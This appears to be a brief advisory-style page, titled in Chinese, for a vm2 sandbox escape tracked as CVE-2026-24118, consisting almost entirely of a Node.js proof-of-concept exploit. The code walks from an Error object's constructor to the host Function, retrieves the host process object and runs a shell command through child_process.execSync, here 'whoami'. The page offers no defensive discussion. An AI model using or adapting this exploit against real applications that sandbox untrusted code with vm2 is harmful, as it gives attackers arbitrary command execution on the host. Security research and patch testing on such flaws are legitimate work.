CVE-2026-24118 vm2沙箱逃逸漏洞（远程代码执行）

const {VM} = require('vm2'); const vm = new VM(); // Malicious code designed to escape the sandbox // This exploits the logic flaw to access host objects const untrustedCode = ` try { // Attempt to break out using a known technique const error = new Error(); const hostConstructor = error.constructor.constructor; // Retrieve the process object from the host const process = hostConstructor('return process')(); // Execute arbitrary command on the host system process.mainModule.require('child_process').execSync('whoami').toString(); } catch (e) { e.toString(); } `; console.log(vm.run(untrustedCode));